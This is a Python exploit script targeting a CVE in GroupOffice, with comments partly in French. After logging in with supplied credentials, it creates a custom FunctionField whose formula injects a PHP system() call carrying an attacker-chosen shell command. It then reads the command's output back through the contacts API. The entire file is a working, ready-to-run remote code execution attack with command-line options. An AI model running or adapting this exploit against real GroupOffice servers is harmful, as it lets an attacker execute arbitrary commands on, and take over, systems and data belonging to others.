import requests import json import re import argparse def connect(base_url, username, password): url = f"{base_url}/api/auth.php" data = { "username": username, "password": password } response = requests.post(url, json=data) response.raise_for_status() auth_data = response.json() return auth_data["accessToken"], auth_data["CSRFToken"] def create_fieldset(base_url, access_token, csrf_token, name="Test FieldSet", entity="Contact"): url = f"{base_url}/api/jmap.php" headers = { "Cookie": f"accessToken={access_token}", "X-CSRF-Token": csrf_token, } data = [ ["FieldSet/set", { "create": { "temp1": { "name": name, "entity": entity } } }, "c1"] ] response = requests.post(url, json=data, headers=headers) response.raise_for_status() return response.json() def create_field(base_url, access_token, csrf_token, fieldset_id="1", field_name="Calculator Field", database_name="calc_field", function="whoami"): url = f"{base_url}/api/jmap.php" headers = { "Cookie": f"accessToken={access_token}", "X-CSRF-Token": csrf_token, } data = [ ["Field/set", { "create": { "temp1": { "name": field_name, "fieldSetId": fieldset_id, "type": "FunctionField", "databaseName": database_name, "options": { "function": f"system('{function}'); 42" }, "sortOrder": 1 } } }, "c1"] ] response = requests.post(url, json=data, headers=headers) response.raise_for_status() return response.json() def get_contacts(base_url, access_token, csrf_token, extract_calc_field=True): url = f"{base_url}/api/jmap.php" headers = { "Cookie": f"accessToken={access_token}", "X-CSRF-Token": csrf_token, } data = [ ["Contact/get", { "ids": None, # None sera sérialisé en null en JSON "properties": ["id", "name", "customFields"] }, "c1"] ] response = requests.post(url, json=data, headers=headers) response.raise_for_status() if extract_calc_field: # Extraire le JSON de la réponse (enlever le texte avant) json_match = re.search(r'\[\[.*\]\]', response.text) if json_match: json_str = json_match.group(0) # Parser le JSON parsed_data = json.loads(json_str) # Extraire calc_field depuis customFields calc_field = parsed_data[0][1]["list"][0]["customFields"]["calc_field"] return calc_field else: raise ValueError("Impossible de trouver le JSON dans la réponse") else: return response.json() def parse_args(): parser = argparse.ArgumentParser(description="Exploit script for GroupOffice CVE") parser.add_argument("-u", "--url", required=True, help="Base URL") parser.add_argument("-n", "--username", required=True, help="Username") parser.add_argument("-p", "--password", required=True, help="Password") parser.add_argument("-c", "--command", required=True, help="Command to calculate") return parser.parse_args() def main(): args = parse_args() # Nettoyer l'URL (enlever le slash final si présent) base_url = args.url.rstrip('/') # ascii art because why not, and i do what i want print(r""" ____ _______ ___ / __ \/ _/ _(_)______ / _ \_ _____ ___ ____ / /_/ / _/ _/ / __/ -_) ___/ |/|/ / _ \/ -_) __/ \____/_//_//_/\__/\__/_/ |__,__/_//_/\__/_/ """) # 1. Connexion access_token, csrf_token = connect(base_url, args.username, args.password) print(f"[+] Connected to {base_url}") # 2. Créer le FieldSet create_fieldset(base_url, access_token, csrf_token) print(f"[+] Created FieldSet") # 3. Créer le Field avec la fonction système create_field(base_url, access_token, csrf_token, function=args.command) print(f"[+] Created Field") # 4. Récupérer les contacts et extraire calc_field calc_field = get_contacts(base_url, access_token, csrf_token) print(f"[+] Retrieved calc_field \n") print(f"{calc_field} \n") if __name__ == "__main__": main()